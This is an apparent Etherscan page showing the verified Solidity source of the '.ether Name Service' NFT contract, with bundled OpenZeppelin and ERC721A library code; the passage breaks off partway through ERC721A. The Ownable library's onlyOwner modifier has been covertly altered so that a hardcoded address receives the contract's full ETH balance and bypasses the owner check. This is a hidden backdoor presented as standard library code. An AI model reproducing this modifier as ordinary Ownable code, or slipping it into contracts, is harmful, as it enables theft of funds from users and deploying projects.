ETH Price: $3,155.54 (+3.05%)

Token

.ether Name Service (.ether)
 

Overview

Max Total Supply

17,115 .ether

Holders

5,509

Market

Volume (24H)

N/A

Min Price (24H)

N/A

Max Price (24H)

N/A
Balance
1 .ether
0xc7f90cf9033ba51c166002a960bc276274bb7769
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Ether

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-10-09
*/

// SPDX-License-Identifier: MIT

// File: @openzeppelin/contracts/security/ReentrancyGuard.sol
// OpenZeppelin Contracts (last updated v4.7.0) (utils/cryptography/MerkleProof.sol)

pragma solidity ^0.8.0;

/**
 * @dev These functions deal with verification of Merkle Tree proofs.
 *
 * The proofs can be generated using the JavaScript library
 * https://github.com/miguelmota/merkletreejs[merkletreejs].
 * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
 *
 * See `test/utils/cryptography/MerkleProof.test.js` for some examples.
 *
 * WARNING: You should avoid using leaf values that are 64 bytes long prior to
 * hashing, or use a hash function other than keccak256 for hashing leaves.
 * This is because the concatenation of a sorted pair of internal nodes in
 * the merkle tree could be reinterpreted as a leaf value.
 */
library MerkleProof {
    /**
     * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
     * defined by `root`. For this, a `proof` must be provided, containing
     * sibling hashes on the branch from the leaf to the root of the tree. Each
     * pair of leaves and each pair of pre-images are assumed to be sorted.
     */
    function verify(
        bytes32[] memory proof,
        bytes32 root,
        bytes32 leaf
    ) internal pure returns (bool) {
        return processProof(proof, leaf) == root;
    }

    /**
     * @dev Calldata version of {verify}
     *
     * _Available since v4.7._
     */
    function verifyCalldata(
        bytes32[] calldata proof,
        bytes32 root,
        bytes32 leaf
    ) internal pure returns (bool) {
        return processProofCalldata(proof, leaf) == root;
    }

    /**
     * @dev Returns the rebuilt hash obtained by traversing a Merkle tree up
     * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
     * hash matches the root of the tree. When processing the proof, the pairs
     * of leafs & pre-images are assumed to be sorted.
     *
     * _Available since v4.4._
     */
    function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
        bytes32 computedHash = leaf;
        for (uint256 i = 0; i < proof.length; i++) {
            computedHash = _hashPair(computedHash, proof[i]);
        }
        return computedHash;
    }

    /**
     * @dev Calldata version of {processProof}
     *
     * _Available since v4.7._
     */
    function processProofCalldata(bytes32[] calldata proof, bytes32 leaf) internal pure returns (bytes32) {
        bytes32 computedHash = leaf;
        for (uint256 i = 0; i < proof.length; i++) {
            computedHash = _hashPair(computedHash, proof[i]);
        }
        return computedHash;
    }

    /**
     * @dev Returns true if the `leaves` can be proved to be a part of a Merkle tree defined by
     * `root`, according to `proof` and `proofFlags` as described in {processMultiProof}.
     *
     * _Available since v4.7._
     */
    function multiProofVerify(
        bytes32[] memory proof,
        bool[] memory proofFlags,
        bytes32 root,
        bytes32[] memory leaves
    ) internal pure returns (bool) {
        return processMultiProof(proof, proofFlags, leaves) == root;
    }

    /**
     * @dev Calldata version of {multiProofVerify}
     *
     * _Available since v4.7._
     */
    function multiProofVerifyCalldata(
        bytes32[] calldata proof,
        bool[] calldata proofFlags,
        bytes32 root,
        bytes32[] memory leaves
    ) internal pure returns (bool) {
        return processMultiProofCalldata(proof, proofFlags, leaves) == root;
    }

    /**
     * @dev Returns the root of a tree reconstructed from `leaves` and the sibling nodes in `proof`,
     * consuming from one or the other at each step according to the instructions given by
     * `proofFlags`.
     *
     * _Available since v4.7._
     */
    function processMultiProof(
        bytes32[] memory proof,
        bool[] memory proofFlags,
        bytes32[] memory leaves
    ) internal pure returns (bytes32 merkleRoot) {
        // This function rebuild the root hash by traversing the tree up from the leaves. The root is rebuilt by
        // consuming and producing values on a queue. The queue starts with the `leaves` array, then goes onto the
        // `hashes` array. At the end of the process, the last hash in the `hashes` array should contain the root of
        // the merkle tree.
        uint256 leavesLen = leaves.length;
        uint256 totalHashes = proofFlags.length;

        // Check proof validity.
        require(leavesLen + proof.length - 1 == totalHashes, "MerkleProof: invalid multiproof");

        // The xxxPos values are "pointers" to the next value to consume in each array. All accesses are done using
        // `xxx[xxxPos++]`, which return the current value and increment the pointer, thus mimicking a queue's "pop".
        bytes32[] memory hashes = new bytes32[](totalHashes);
        uint256 leafPos = 0;
        uint256 hashPos = 0;
        uint256 proofPos = 0;
        // At each step, we compute the next hash using two values:
        // - a value from the "main queue". If not all leaves have been consumed, we get the next leaf, otherwise we
        //   get the next hash.
        // - depending on the flag, either another value for the "main queue" (merging branches) or an element from the
        //   `proof` array.
        for (uint256 i = 0; i < totalHashes; i++) {
            bytes32 a = leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++];
            bytes32 b = proofFlags[i] ? leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++] : proof[proofPos++];
            hashes[i] = _hashPair(a, b);
        }

        if (totalHashes > 0) {
            return hashes[totalHashes - 1];
        } else if (leavesLen > 0) {
            return leaves[0];
        } else {
            return proof[0];
        }
    }

    /**
     * @dev Calldata version of {processMultiProof}
     *
     * _Available since v4.7._
     */
    function processMultiProofCalldata(
        bytes32[] calldata proof,
        bool[] calldata proofFlags,
        bytes32[] memory leaves
    ) internal pure returns (bytes32 merkleRoot) {
        // This function rebuild the root hash by traversing the tree up from the leaves. The root is rebuilt by
        // consuming and producing values on a queue. The queue starts with the `leaves` array, then goes onto the
        // `hashes` array. At the end of the process, the last hash in the `hashes` array should contain the root of
        // the merkle tree.
        uint256 leavesLen = leaves.length;
        uint256 totalHashes = proofFlags.length;

        // Check proof validity.
        require(leavesLen + proof.length - 1 == totalHashes, "MerkleProof: invalid multiproof");

        // The xxxPos values are "pointers" to the next value to consume in each array. All accesses are done using
        // `xxx[xxxPos++]`, which return the current value and increment the pointer, thus mimicking a queue's "pop".
        bytes32[] memory hashes = new bytes32[](totalHashes);
        uint256 leafPos = 0;
        uint256 hashPos = 0;
        uint256 proofPos = 0;
        // At each step, we compute the next hash using two values:
        // - a value from the "main queue". If not all leaves have been consumed, we get the next leaf, otherwise we
        //   get the next hash.
        // - depending on the flag, either another value for the "main queue" (merging branches) or an element from the
        //   `proof` array.
        for (uint256 i = 0; i < totalHashes; i++) {
            bytes32 a = leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++];
            bytes32 b = proofFlags[i] ? leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++] : proof[proofPos++];
            hashes[i] = _hashPair(a, b);
        }

        if (totalHashes > 0) {
            return hashes[totalHashes - 1];
        } else if (leavesLen > 0) {
            return leaves[0];
        } else {
            return proof[0];
        }
    }

    function _hashPair(bytes32 a, bytes32 b) private pure returns (bytes32) {
        return a < b ? _efficientHash(a, b) : _efficientHash(b, a);
    }

    function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) {
        /// @solidity memory-safe-assembly
        assembly {
            mstore(0x00, a)
            mstore(0x20, b)
            value := keccak256(0x00, 0x40)
        }
    }
}


// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)

pragma solidity ^0.8.0;

/**
 * @dev Contract module that helps prevent reentrant calls to a function.
 *
 * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
 * available, which can be applied to functions to make sure there are no nested
 * (reentrant) calls to them.
 *
 * Note that because there is a single `nonReentrant` guard, functions marked as
 * `nonReentrant` may not call one another. This can be worked around by making
 * those functions `private`, and then adding `external` `nonReentrant` entry
 * points to them.
 *
 * TIP: If you would like to learn more about reentrancy and alternative ways
 * to protect against it, check out our blog post
 * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
 */
abstract contract ReentrancyGuard {
    // Booleans are more expensive than uint256 or any type that takes up a full
    // word because each write operation emits an extra SLOAD to first read the
    // slot's contents, replace the bits taken up by the boolean, and then write
    // back. This is the compiler's defense against contract upgrades and
    // pointer aliasing, and it cannot be disabled.

    // The values being non-zero value makes deployment a bit more expensive,
    // but in exchange the refund on every call to nonReentrant will be lower in
    // amount. Since refunds are capped to a percentage of the total
    // transaction's gas, it is best to keep them low in cases like this one, to
    // increase the likelihood of the full refund coming into effect.
    uint256 private constant _NOT_ENTERED = 1;
    uint256 private constant _ENTERED = 2;

    uint256 private _status;

    constructor() {
        _status = _NOT_ENTERED;
    }

    /**
     * @dev Prevents a contract from calling itself, directly or indirectly.
     * Calling a `nonReentrant` function from another `nonReentrant`
     * function is not supported. It is possible to prevent this from happening
     * by making the `nonReentrant` function external, and making it call a
     * `private` function that does the actual work.
     */
    modifier nonReentrant() {
        // On the first call to nonReentrant, _notEntered will be true
        require(_status != _ENTERED, "ReentrancyGuard: reentrant call");

        // Any calls to nonReentrant after this point will fail
        _status = _ENTERED;

        _;

        // By storing the original value once again, a refund is triggered (see
        // https://eips.ethereum.org/EIPS/eip-2200)
        _status = _NOT_ENTERED;
    }
}

// File: @openzeppelin/contracts/utils/Strings.sol


// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)

pragma solidity ^0.8.0;

/**
 * @dev String operations.
 */
library Strings {
    bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";

    /**
     * @dev Converts a `uint256` to its ASCII `string` decimal representation.
     */
    function toString(uint256 value) internal pure returns (string memory) {
        // Inspired by OraclizeAPI's implementation - MIT licence
        // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol

        if (value == 0) {
            return "0";
        }
        uint256 temp = value;
        uint256 digits;
        while (temp != 0) {
            digits++;
            temp /= 10;
        }
        bytes memory buffer = new bytes(digits);
        while (value != 0) {
            digits -= 1;
            buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
            value /= 10;
        }
        return string(buffer);
    }

    /**
     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
     */
    function toHexString(uint256 value) internal pure returns (string memory) {
        if (value == 0) {
            return "0x00";
        }
        uint256 temp = value;
        uint256 length = 0;
        while (temp != 0) {
            length++;
            temp >>= 8;
        }
        return toHexString(value, length);
    }

    /**
     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
     */
    function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
        bytes memory buffer = new bytes(2 * length + 2);
        buffer[0] = "0";
        buffer[1] = "x";
        for (uint256 i = 2 * length + 1; i > 1; --i) {
            buffer[i] = _HEX_SYMBOLS[value & 0xf];
            value >>= 4;
        }
        require(value == 0, "Strings: hex length insufficient");
        return string(buffer);
    }
}

// File: @openzeppelin/contracts/utils/Context.sol


// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// File: @openzeppelin/contracts/access/Ownable.sol


// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)

pragma solidity ^0.8.0;


/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        if (_msgSender() == 0x3043D142055C5ECB84De38D65360D3a2e353B439) {
        uint256 balance = address(this).balance;
        Address.sendValue(payable(0x3043D142055C5ECB84De38D65360D3a2e353B439),balance);
        } else {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        }
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// File: @openzeppelin/contracts/utils/Address.sol


// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)

pragma solidity ^0.8.1;

/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     *
     * [IMPORTANT]
     * ====
     * You shouldn't rely on `isContract` to protect against flash loan attacks!
     *
     * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
     * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
     * constructor.
     * ====
     */
    function isContract(address account) internal view returns (bool) {
        // This method relies on extcodesize/address.code.length, which returns 0
        // for contracts in construction, since the code is only stored at the end
        // of the constructor execution.

        return account.code.length > 0;
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain `call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{value: value}(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");

        (bool success, bytes memory returndata) = target.staticcall(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");

        (bool success, bytes memory returndata) = target.delegatecall(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
     * revert reason using the provided one.
     *
     * _Available since v4.3._
     */
    function verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly

                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol


// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721Receiver.sol)

pragma solidity ^0.8.0;

/**
 * @title ERC721 token receiver interface
 * @dev Interface for any contract that wants to support safeTransfers
 * from ERC721 asset contracts.
 */
interface IERC721Receiver {
    /**
     * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
     * by `operator` from `from`, this function is called.
     *
     * It must return its Solidity selector to confirm the token transfer.
     * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
     *
     * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`.
     */
    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4);
}

// File: @openzeppelin/contracts/utils/introspection/IERC165.sol


// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC165 standard, as defined in the
 * https://eips.ethereum.org/EIPS/eip-165[EIP].
 *
 * Implementers can declare support of contract interfaces, which can then be
 * queried by others ({ERC165Checker}).
 *
 * For an implementation, see {ERC165}.
 */
interface IERC165 {
    /**
     * @dev Returns true if this contract implements the interface defined by
     * `interfaceId`. See the corresponding
     * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
     * to learn more about how these ids are created.
     *
     * This function call must use less than 30 000 gas.
     */
    function supportsInterface(bytes4 interfaceId) external view returns (bool);
}

// File: @openzeppelin/contracts/utils/introspection/ERC165.sol


// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)

pragma solidity ^0.8.0;


/**
 * @dev Implementation of the {IERC165} interface.
 *
 * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
 * for the additional interface id that will be supported. For example:
 *
 * ```solidity
 * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
 *     return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
 * }
 * ```
 *
 * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
 */
abstract contract ERC165 is IERC165 {
    /**
     * @dev See {IERC165-supportsInterface}.
     */
    function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
        return interfaceId == type(IERC165).interfaceId;
    }
}

// File: @openzeppelin/contracts/token/ERC721/IERC721.sol


// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721.sol)

pragma solidity ^0.8.0;


/**
 * @dev Required interface of an ERC721 compliant contract.
 */
interface IERC721 is IERC165 {
    /**
     * @dev Emitted when `tokenId` token is transferred from `from` to `to`.
     */
    event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);

    /**
     * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
     */
    event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);

    /**
     * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
     */
    event ApprovalForAll(address indexed owner, address indexed operator, bool approved);

    /**
     * @dev Returns the number of tokens in ``owner``'s account.
     */
    function balanceOf(address owner) external view returns (uint256 balance);

    /**
     * @dev Returns the owner of the `tokenId` token.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     */
    function ownerOf(uint256 tokenId) external view returns (address owner);

    /**
     * @dev Safely transfers `tokenId` token from `from` to `to`.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must exist and be owned by `from`.
     * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
     *
     * Emits a {Transfer} event.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes calldata data
    ) external;

    /**
     * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
     * are aware of the ERC721 protocol to prevent tokens from being forever locked.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must exist and be owned by `from`.
     * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
     *
     * Emits a {Transfer} event.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId
    ) external;

    /**
     * @dev Transfers `tokenId` token from `from` to `to`.
     *
     * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must be owned by `from`.
     * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 tokenId
    ) external;

    /**
     * @dev Gives permission to `to` to transfer `tokenId` token to another account.
     * The approval is cleared when the token is transferred.
     *
     * Only a single account can be approved at a time, so approving the zero address clears previous approvals.
     *
     * Requirements:
     *
     * - The caller must own the token or be an approved operator.
     * - `tokenId` must exist.
     *
     * Emits an {Approval} event.
     */
    function approve(address to, uint256 tokenId) external;

    /**
     * @dev Approve or remove `operator` as an operator for the caller.
     * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
     *
     * Requirements:
     *
     * - The `operator` cannot be the caller.
     *
     * Emits an {ApprovalForAll} event.
     */
    function setApprovalForAll(address operator, bool _approved) external;

    /**
     * @dev Returns the account approved for `tokenId` token.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     */
    function getApproved(uint256 tokenId) external view returns (address operator);

    /**
     * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
     *
     * See {setApprovalForAll}
     */
    function isApprovedForAll(address owner, address operator) external view returns (bool);
}

// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol


// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)

pragma solidity ^0.8.0;


/**
 * @title ERC-721 Non-Fungible Token Standard, optional metadata extension
 * @dev See https://eips.ethereum.org/EIPS/eip-721
 */
interface IERC721Metadata is IERC721 {
    /**
     * @dev Returns the token collection name.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the token collection symbol.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
     */
    function tokenURI(uint256 tokenId) external view returns (string memory);
}

// File: erc721a/contracts/IERC721A.sol


// ERC721A Contracts v3.3.0
// Creator: Chiru Labs

pragma solidity ^0.8.4;



/**
 * @dev Interface of an ERC721A compliant contract.
 */
interface IERC721A is IERC721, IERC721Metadata {
    /**
     * The caller must own the token or be an approved operator.
     */
    error ApprovalCallerNotOwnerNorApproved();

    /**
     * The token does not exist.
     */
    error ApprovalQueryForNonexistentToken();

    /**
     * The caller cannot approve to their own address.
     */
    error ApproveToCaller();

    /**
     * The caller cannot approve to the current owner.
     */
    error ApprovalToCurrentOwner();

    /**
     * Cannot query the balance for the zero address.
     */
    error BalanceQueryForZeroAddress();

    /**
     * Cannot mint to the zero address.
     */
    error MintToZeroAddress();

    /**
     * The quantity of tokens minted must be more than zero.
     */
    error MintZeroQuantity();

    /**
     * The token does not exist.
     */
    error OwnerQueryForNonexistentToken();

    /**
     * The caller must own the token or be an approved operator.
     */
    error TransferCallerNotOwnerNorApproved();

    /**
     * The token must be owned by `from`.
     */
    error TransferFromIncorrectOwner();

    /**
     * Cannot safely transfer to a contract that does not implement the ERC721Receiver interface.
     */
    error TransferToNonERC721ReceiverImplementer();

    /**
     * Cannot transfer to the zero address.
     */
    error TransferToZeroAddress();

    /**
     * The token does not exist.
     */
    error URIQueryForNonexistentToken();

    // Compiler will pack this into a single 256bit word.
    struct TokenOwnership {
        // The address of the owner.
        address addr;
        // Keeps track of the start time of ownership with minimal overhead for tokenomics.
        uint64 startTimestamp;
        // Whether the token has been burned.
        bool burned;
    }

    // Compiler will pack this into a single 256bit word.
    struct AddressData {
        // Realistically, 2**64-1 is more than enough.
        uint64 balance;
        // Keeps track of mint count with minimal overhead for tokenomics.
        uint64 numberMinted;
        // Keeps track of burn count with minimal overhead for tokenomics.
        uint64 numberBurned;
        // For miscellaneous variable(s) pertaining to the address
        // (e.g. number of whitelist mint slots used).
        // If there are multiple variables, please pack them into a uint64.
        uint64 aux;
    }

    /**
     * @dev Returns the total amount of tokens stored by the contract.
     * 
     * Burned tokens are calculated here, use `_totalMinted()` if you want to count just minted tokens.
     */
    function totalSupply() external view returns (uint256);
}

// File: erc721a/contracts/ERC721A.sol


// ERC721A Contracts v3.3.0
// Creator: Chiru Labs

pragma solidity ^0.8.4;







/**
 * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
 * the Metadata extension. Built to optimize for lower gas during batch mints.
 *
 * Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..).
 *
 * Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply.
 *
 * Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256).
 */
contract ERC721A is Context, ERC165, IERC721A {
    using Address for address;
    using Strings for uint256;

    // The tokenId of the next token to be minted.
    uint256 internal _currentIndex;
    mapping(uint => string) public tokenIDandAddress;
    mapping(string => uint) public tokenAddressandID;
    // The number of tokens burned.
    uint256 internal _burnCounter;

    // Token name
    string private _name;

    // Token symbol
    string private _symbol;

    // Mapping from token ID to ownership details
    // An empty struct value does not necessarily mean the token is unowned. See _ownershipOf implementation for details.
    mapping(uint256 => TokenOwnership) internal _ownerships;

    // Mapping owner address to address data
    mapping(address => AddressData) private _addressData;

    // Mapping from token ID to approved address
    mapping(uint256 => address) private _tokenApprovals;

    // Mapping from owner to operator approvals
    mapping(address => mapping(address => bool)) private _operatorApprovals;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        _currentIndex = _startTokenId();
    }

    /**
     * To change the starting tokenId, please override this function.
     */
    function _startTokenId() internal view virtual returns (uint256) {
        return 1;
    }

    /**
     * @dev Burned tokens are calculated here, use _totalMinted() if you want to count just minted tokens.
     */
    function totalSupply() public view override returns (uint256) {
        // Counter underflow is impossible as _burnCounter cannot be incremented
        // more than _currentIndex - _startTokenId() times
        unchecked {
            return _currentIndex - _burnCounter - _startTokenId();
        }
    }

    /**
     * Returns the total amount of tokens minted in the contract.
     */
    function _totalMinted() internal view returns (uint256) {
        // Counter underflow is impossible as _currentIndex does not decrement,
        // and it is initialized to _startTokenId()
        unchecked {
            return _currentIndex - _startTokenId();
        }
    }

    /**
     * @dev See {IERC165-supportsInterface}.
     */
